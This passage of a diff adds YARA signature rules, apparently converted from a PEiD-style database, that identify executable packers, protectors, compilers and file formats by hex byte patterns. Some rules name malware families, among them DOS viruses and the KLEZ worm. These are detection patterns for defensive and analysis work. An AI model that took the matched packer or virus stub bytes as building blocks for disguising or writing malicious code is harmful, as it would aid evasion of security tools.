+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 87 DD 8B 85 E6 90 40 01 85 33 90 40 66 C7 85 90 40 90 90 01 85 DA 90 40 01 85 DE 90 40 01 85 E2 90 40 BB 7B 11}
+	condition:
+		$0 at entrypoint
+}
+rule _PROPACK_v208_
+{
+	meta:
+		description = "PRO-PACK v2.08"
+	strings:
+		$0 = {8C D3 8E C3 8C CA 8E DA 8B 0E ?? ?? 8B F1 83 ?? ?? 8B FE D1 ?? FD F3 A5 53}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Heloween1172_
+{
+	meta:
+		description = "Vx: Heloween.1172"
+	strings:
+		$0 = {E8 ?? ?? 5E 81 EE ?? ?? 56 50 06 0E 1F 8C C0 01 ?? ?? 01 ?? ?? 80 ?? ?? ?? ?? 8B ?? ?? A3 ?? ?? 8A ?? ?? A2 ?? ?? B8 ?? ?? CD 21 3D}
+	condition:
+		$0 at entrypoint
+}
+rule _Patch_Creation_Wizard_v12_Memory_Patch_
+{
+	meta:
+		description = "Patch Creation Wizard v1.2 Memory Patch"
+	strings:
+		$0 = {6A 00 E8 9B 02 00 00 A3 7A 33 40 00 6A 00 68 8E 10 40 00 6A 00 6A 01 50 E8 B5 02 00 00 68 5A 31 40 00 68 12 31 40 00 6A 00 6A 00 6A 04 6A 01 6A 00 6A 00 68 A2 30 40 00 6A 00 E8 51 02 00 00 85 C0 74 31 FF 35 62 31 40 00 6A 00 6A 30 E8 62 02 00 00 E8 0B 01 00 00 FF 35 5A 31 40 00 E8 22 02 00 00 FF 35 5E 31 40 00 E8 53 02 00 00 6A 00 E8 22 02 00 00 6A 10 68 F7 30 40 00 68 FE 30 40 00 6A 00 E8 63 02 00 00 6A 00 E8 08 02 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 75 6B 6A 01 FF 35 7A 33 40 00 E8 38 02 00 00 50 6A 01 68 80 00 00 00 FF 75 08 E8 34 02 00 00 68 00 30 40 00 6A 65 FF 75 08 E8 2B 02 00 00 68 51 30 40 00 6A 67 FF 75 08 E8 1C 02 00 00 68 A2 30 40 00 6A 66 FF 75 08 E8 0D 02 00 00 8B 45 08 A3 7E 33 40 00 68 3B 11 40 00 68 E8 03 00 00 68 9A 02 00}
+	condition:
+		$0
+}
+rule _UPXScrambler_RC_v1x_
+{
+	meta:
+		description = "UPX-Scrambler RC v1.x"
+	strings:
+		$0 = {90 61 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v102a_
+{
+	meta:
+		description = "ASPack v1.02a"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED 3E D9 43 ?? B8 38 ?? ?? ?? 03 C5 2B 85 0B DE 43 ?? 89 85 17 DE 43 ?? 80 BD 01 DE 43 ?? ?? 75 15 FE 85 01 DE 43 ?? E8 1D ?? ?? ?? E8 79 02 ?? ?? E8 12 03 ?? ?? 8B 85 03 DE 43 ?? 03 85 17 DE 43 ?? 89 44 24 1C 61 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V118_LZMA_430__ap0x_
+{
+	meta:
+		description = "RLPack V1.18 (LZMA 4.30) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A 00 00 FF 34 37 FF 74 37 04 FF D3 61 83 C7 ?? 83 3C 37 00 75 E6}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v200_
+{
+	meta:
+		description = "Armadillo v2.00"
+	strings:
+		$0 = {55 8B EC 6A FF 68 00 02 41 00 68 C4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_31__North_Star_h_
+{
+	meta:
+		description = "NsPack 3.1 -> North Star (h)"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? FF FF 8A 03 3C 00 74 10 8D 9D ?? ?? FF FF 8A 03 3C 01 0F 84 42 02 00 00 C6 03 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00}
+	condition:
+		$0
+}
+rule _Thinstall_Embedded_V22XV2308__Jitit__Sign_by_fly_
+{
+	meta:
+		description = "Thinstall Embedded V2.2X-V2.308 -> Jitit ! Sign by fly"
+	strings:
+		$0 = {B8 EF BE AD DE 50 6A 00 FF 15 ?? ?? ?? ?? E9 B9 FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Modifier_v01x_
+{
+	meta:
+		description = "UPX Modifier v0.1x"
+	strings:
+		$0 = {50 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD}
+	condition:
+		$0 at entrypoint
+}
+rule _Inno_Installer_v512_
+{
+	meta:
+		description = "Inno Installer v5.1.2"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 58 BB DC 1E 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 50 00 00 68 D8 00 00 00 E8 C1 FE FF FF E9 97 FF FF FF CC CC}
+	condition:
+		$0
+}
+rule _Armadillo_500__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 5.00 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {E8 E3 40 00 00 E9 16 FE FF FF 6A 0C 68 ?? ?? ?? ?? E8 44 15 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 36 13 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 C7 12 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75}
+		$1 = {E8 E3 40 00 00 E9 16 FE FF FF 6A 0C 68 ?? ?? ?? ?? E8 44 15 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 36 13 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 C7 12 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75 08 3B F7 75 03 33 F6 46 33 DB 89 5D E4 83 FE E0 77 69 83 3D ?? ?? ?? ?? 03 75 4B 83 C6 0F 83 E6 F0 89 75 0C 8B 45 08 3B 05 ?? ?? ?? ?? 77 37 6A 04 E8 48 11 00 00 59 89 7D FC FF 75 08 E8 01 49 00 00 59 89 45 E4 C7 45 FC FE FF FF FF E8 5F 00 00 00 8B 5D E4 3B DF 74 11 FF 75 08 57 53 E8 66 D3 FF FF 83 C4 0C 3B DF 75 61 56 6A 08 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 3B DF 75 4C 39 3D ?? ?? ?? ?? 74 33 56 E8 AF F9 FF FF 59 85 C0 0F 85 72 FF FF FF 8B 45 10 3B C7 0F 84 50 FF FF FF C7 00 0C 00 00 00 E9 45 FF FF FF 33 FF 8B 75 0C 6A 04 E8 EE 0F 00 00 59 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Duals_eXe_Encryptor_10b__Dual_
+{
+	meta:
+		description = "Dual's eXe Encryptor 1.0b -> Dual"
+	strings:
+		$0 = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 3A 04 00 00 89 28 33 FF 8D 85 80 03 00 00 8D 8D 3A 04 00 00 2B C8 8B 9D 8A 04 00 00 E8 24 02 00 00 8D 9D 58 03 00 00 8D B5 7F 03 00 00 46 80 3E 00 74 24 56 FF 95 58 05 00 00 46 80 3E 00 75 FA 46 80 3E 00 74 E7 50 56 50 FF 95 5C 05 00 00 89 03 58 83 C3 04 EB E3 8D 85 69 02 00 00 FF D0 8D 85 56 04 00 00 50 68 1F 00 02 00 6A 00 8D 85 7A 04 00 00 50}
+	condition:
+		$0 at entrypoint
+}
+rule _MS_RunTime_Library_1988_04_
+{
+	meta:
+		description = "MS Run-Time Library 1988 (04)"
+	strings:
+		$0 = {1E B8 ?? ?? 8E D8 B4 30 CD 21 3C 02 73 ?? BA ?? ?? E8 ?? ?? 06 33 C0 50 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _WinUpack_v039_final_relocated_image_base__By_Dwing_c2005_h2_
+{
+	meta:
+		description = "WinUpack v0.39 final (relocated image base) -> By Dwing (c)2005 (h2)"
+	strings:
+		$0 = {60 E8 09 00 00 00 ?? ?? ?? 00 E9 06 02 00 00 33 C9 5E 87 0E E3 F4 2B F1 8B DE AD 2B D8 AD 03 C3 50 97 AD 91 F3 A5 5E AD 56 91 01 1E AD E2 FB AD 8D 6E 10 01 5D 00 8D 7D 1C B5 ?? F3 AB 5E AD 53 50 51 97 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0 01 E3 29 8B D7 2B 55 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF 16 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E4 B4 00 33 C9 B5 01 FF 56 08 33 C9 FF 66 1C B1 30 8B 5D 0C 03 D1 FF 16 73 4C 03 D1 FF 16 72 19 03 D1 FF 16 72 29 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 45 0C 8A 00 FF 66 18 83 C2 60 FF 16 87 5D 10 73 0C 03 D1 FF 16 87 5D 14 73 03 87 5D 18 3C 07 B0 08 72 02 B0 0B 50 53 8B D5 03 56 38 FF 56 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_60__80_
+{
+	meta:
+		description = "Microsoft Visual C++ 6.0 - 8.0"
+	strings:
+		$0 = {3D 00 10 00 00 73 0E F7 D8 03 C4 83 C0 04 85 00 94 8B 00 50 C3 51 8D 4C 24 08 81 E9 00 10 00 00 2D 00 10 00 00 85 01 3D 00 10 00 00 73 EC 2B C8 8B C4 85 01 8B E1 8B 08 8B 40 04 50 C3}
+		$1 = {68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 8B 44 24 10 89 6C 24 10 8D 6C 24 10 2B E0 53 56 57 8B 45 F8 89 65 E8 50 8B 45 FC C7 45 FC FF FF FF FF 89 45 F8 C3 8B 4D F0 64 89 0D 00 00 00 00 59 5F 5E 5B C9 51 C3}
+		$2 = {68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 8B 44 24 10 89 6C 24 10 8D 6C 24 10 2B E0 53 56 57 8B 45 F8 89 65 E8 50 8B 45 FC C7 45 FC FF FF FF FF 89 45 F8 8D 45 F0 64 A3 00 00 00 00 C3 8B 4D F0 64 89 0D 00 00 00 00 59 5F 5E 5B C9 51}
+		$3 = {68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 8B 44 24 10 89 6C 24 10 8D 6C 24 10 2B E0 53 56 57 8B 45 F8 89 65 E8 50 8B 45 FC C7 45 FC FF FF FF FF 89 45 F8 8D 45 F0 64 A3 00 00 00 00 C3 8B 4D F0 64 89 0D 00 00 00 00 59 5F 5E 5B C9 51 C3}
+		$4 = {8B 44 24 08 85 C0 0F 84 ?? ?? ?? ?? 83 F8 01 8B 0D ?? ?? ?? ?? 8B 09 89 0D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 80 00 00 00 FF 15 ?? ?? ?? ?? 85 C0 59 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 20 00 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8}
+		$5 = {8B 44 24 08 8B 4C 24 10 0B C8 8B 4C 24 0C 75 09 8B 44 24 04 F7 E1 C2 10 00 53 F7 E1 8B D8 8B 44 24 08 F7 64 24 14 03 D8 8B 44 24 08 F7 E1 03 D3 5B C2 10 00}
+	condition:
+		$0 or $1 or $2 at entrypoint or $3 or $4 or $5
+}
+rule _GPInstall_v50332_
+{
+	meta:
+		description = "GP-Install v5.0.3.32"
+	strings:
+		$0 = {55 8B EC 33 C9 51 51 51 51 51 51 51 53 56 57 B8 C4 1C 41 00 E8 6B 3E FF FF 33 C0 55 68 76 20 41 00 64 FF 30 64 89 20 BA A0 47 41 00 33 C0 E8 31 0A FF FF 33 D2 A1 A0}
+	condition:
+		$0
+}
+rule _SecurePE_1X_
+{
+	meta:
+		description = "SecurePE 1.X"
+	strings:
+		$0 = {8B 04 24 E8 00 00 00 00 5D 81 ED 4C 2F 40 00 89 85 61 2F 40 00 8D 9D 65 2F 40 00 53 C3 00 00 00 00 8D B5 BA 2F 40 00 8B FE BB 65 2F 40 00 B9 C6 01 00 00 AD 2B C3 C1 C0 03 33 C3 AB 43 81 FB 8E 2F 40 00 75 05 BB 65 2F 40 00 E2 E7 89 AD 1A 31 40 00 89 AD 55}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1337__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.3.7 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 2C 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 27 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 01 ?? 50 EB 02 ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? E8 23 27 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Anskya_Binder_v11__Anskya_
+{
+	meta:
+		description = "Anskya Binder v1.1 -> Anskya"
+	strings:
+		$0 = {BE ?? ?? ?? 00 BB F8 11 40 00 33 ED 83 EE 04 39 2E 74 11}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v160a_
+{
+	meta:
+		description = "Armadillo v1.60a"
+	strings:
+		$0 = {55 8B EC 6A FF 68 98 71 40 00 68 48 2D 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_v40__v50_
+{
+	meta:
+		description = "Borland Delphi v4.0 - v5.0"
+	strings:
+		$0 = {50 6A 00 E8 ?? ?? FF FF BA ?? ?? ?? ?? 52 89 05 ?? ?? ?? ?? 89 42 04 C7 42 08 00 00 00 00 C7 42 0C 00 00 00 00 E8 ?? ?? ?? ?? 5A 58 E8 ?? ?? ?? ?? C3}
+		$1 = {50 6A ?? E8 ?? ?? FF FF BA ?? ?? ?? ?? 52 89 05 ?? ?? ?? ?? 89 42 04 C7 42 08 ?? ?? ?? ?? C7 42 0C ?? ?? ?? ?? E8 ?? ?? ?? ?? 5A 58 E8 ?? ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RCryptor_V15__Vaska__Sign_by_fly_
+{
+	meta:
+		description = "RCryptor V1.5 -> Vaska ! Sign by fly"
+	strings:
+		$0 = {83 2C 24 4F 68 ?? ?? ?? ?? FF 54 24 04 83 44 24 04 4F B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? ?? EB F3 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v133_
+{
+	meta:
+		description = "PECompact v1.33"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A6 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 00 80 40 ?? 90 90 01 85 9E 80 40 ?? BB E8 0E}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_ACProtect_109__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [ACProtect 1.09] --> Anorganix"
+	strings:
+		$0 = {60 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 04 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 08 00 90 90 90 EB 06 00 00 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 04 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v11_
+{
+	meta:
+		description = "ASProtect v1.1"
+	strings:
+		$0 = {60 E9 ?? 04 ?? ?? E9 ?? ?? ?? ?? ?? ?? ?? EE}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Embedded_V2312__Jitit__Sign_by_fly_
+{
+	meta:
+		description = "Thinstall Embedded V2.312 -> Jitit ! Sign by fly"
+	strings:
+		$0 = {6A 00 FF 15 ?? ?? ?? ?? E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CHECKPRG_c_1992_
+{
+	meta:
+		description = "CHECKPRG (c) 1992"
+	strings:
+		$0 = {33 C0 BE ?? ?? 8B D8 B9 ?? ?? BF ?? ?? BA ?? ?? 47 4A 74}
+	condition:
+		$0 at entrypoint
+}
+rule _Pe123_2006412_
+{
+	meta:
+		description = "Pe123 2006.4.12"
+	strings:
+		$0 = {8B C0 60 9C E8 01 00 00 00 C3 53 E8 72 00 00 00 50 E8 1C 03 00 00 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10 8B 7D 0C 8B 75 08 F3 A4 61 5D C2 0C 00 E8 00 00 00 00 58 83 E8 05 C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B}
+	condition:
+		$0
+}
+rule _WARNING__TROJAN__RobinPE_
+{
+	meta:
+		description = "WARNING -> TROJAN -> RobinPE"
+	strings:
+		$0 = {60 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CALS_Raster_graphics_format_
+{
+	meta:
+		description = "CALS Raster graphics format"
+	strings:
+		$0 = {73 72 63 64 6F 63 69 64 3A 20}
+	condition:
+		$0
+}
+rule _FSG_v110_Eng__dulekxt__MASM32__TASM32_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32)"
+	strings:
+		$0 = {03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B}
+		$1 = {03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B F2 81 F6 EE 00 00 00 EB 02 CD 20 8A 0B E8 02 00 00 00 A9 54 5E C1 EE 07 F7 D7 EB 01 DE 81 E9 B7 96 A0 C4 EB 01 6B EB 02 CD 20 80 E9 4B C1 CF 08 EB 01 71 80 E9 1C EB 02 F0 49 C1 F6 09 88 0B F7 DE 0F B6 F2 43 EB 02 CD 20 C1 E7 0A 48 EB 01 89 C1 E7 14 2B FF 3B C7 75 A8 E8 01 00 00 00 81 5F F7 D7 D9 EE 1F 5E 1E DD 1E 2E 5E 1E DC ?? ?? 5E 1E 71 06 28 1E 1E 1E 20 F0 93 23 A8 34 64 30 F0 E1 D0 9E 51 F9 C2 D1 20 1D 32 42 91 16 51 E7 1D 32 42 91 36 51 DE 1D 32 42 91 3F D1 20 5F CE 2E 1D 32 42 30 DE 91 17 93 5D C8 09 FA 06 61 1E 1E 1E 49 E9 93 2E 06 56 1E 1E 1E 09 46 CA EF 06 92 5F 31 E7 09 3A AF 66 DF FE 26 CA 06 40 1E 1E 1E 5B 1E 9B 1E 1E 91 28 9E 1A 23 91 24 A1 16 9D 95 20}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_v110b4_
+{
+	meta:
+		description = "PECompact v1.10b4"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 44}
+	condition:
+		$0 at entrypoint
+}
+rule _nPack_v11_250_Beta__NEOx_
+{
+	meta:
+		description = "nPack v1.1 250 Beta -> NEOx"
+	strings:
+		$0 = {83 3D 04 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 2E ?? ?? ?? 2B 05 08 ?? ?? ?? A3 00 ?? ?? ?? E8 9C 00 00 00 E8 04 02 00 00 E8 FB 06 00 00 E8 1B 06 00 00 A1 00 ?? ?? ?? C7 05 04 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3 56 57 68}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Shield_V06__SMoKE_
+{
+	meta:
+		description = "EXE Shield V0.6 -> SMoKE"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED D4 1A 40 00 EB 01 00 8D B5 5E 1B 40 00 BA A1 0B 00 00 EB 01 00 8D 8D FF 26 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40}
+		$1 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED D4 1A 40 00 EB 01 00 8D B5 5E 1B 40 00 BA A1 0B 00 00 EB 01 00 8D 8D FF 26 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4 90}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _FSG_v20__bartxt_
+{
+	meta:
+		description = "FSG v2.0 -> bart/xt"
+	strings:
+		$0 = {87 25 ?? ?? ?? 00 61 94 55 A4 B6 80 FF 13}
+	condition:
+		$0 at entrypoint
+}
+rule _PEtite_v13_
+{
+	meta:
+		description = "PEtite v1.3"
+	strings:
+		$0 = {66 9C 60 50 8D 88 ?? F0 ?? ?? 8D 90 04 16 ?? ?? 8B DC 8B E1 68 ?? ?? ?? ?? 53 50 80 04 24 08 50 80 04 24 42}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_8_
+{
+	meta:
+		description = "Microsoft Visual C++ 8"
+	strings:
+		$0 = {E8 ?? ?? 00 00 E9 ?? ?? FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Eddie1800_
+{
+	meta:
+		description = "Vx: Eddie.1800"
+	strings:
+		$0 = {E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E 8B FE 33 C0 50 8E D8 C4 ?? ?? ?? 2E ?? ?? ?? ?? 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _Morphine_v27__Holy_Father__Ratter29A_
+{
+	meta:
+		description = "Morphine v2.7 -> Holy_Father & Ratter/29A"
+	strings:
+		$0 = {00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _Thinstall_Virtualization_Suite_V3049V3080__Thinstall_Company__Sign_by_fly_
+{
+	meta:
+		description = "Thinstall Virtualization Suite V3.049-V3.080 -> Thinstall Company ! Sign by fly"
+	strings:
+		$0 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 2C 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB}
+	condition:
+		$0 at entrypoint
+}
+rule _TrueType_Font_file_
+{
+	meta:
+		description = "TrueType Font file"
+	strings:
+		$0 = {00 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 4C 54 53 48}
+		$1 = {00 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 4F 53 2F 32}
+	condition:
+		$0 or $1
+}
+rule _VIRUS__IWormKLEZ_
+{
+	meta:
+		description = "VIRUS - I-Worm.KLEZ"
+	strings:
+		$0 = {55 8B EC 6A FF 68 40 D2 40 ?? 68 04 AC 40 ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 BC D0}
+	condition:
+		$0
+}
+rule _EncryptPE_V22006710__WFS_
+{
+	meta:
+		description = "EncryptPE V2.2006.7.10 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 73 01 00 00}
+	condition:
+		$0
+}
+rule _FreeJoiner_Small_build_017__GlOFF_
+{
+	meta:
+		description = "FreeJoiner Small (build 017) -> GlOFF"
+	strings:
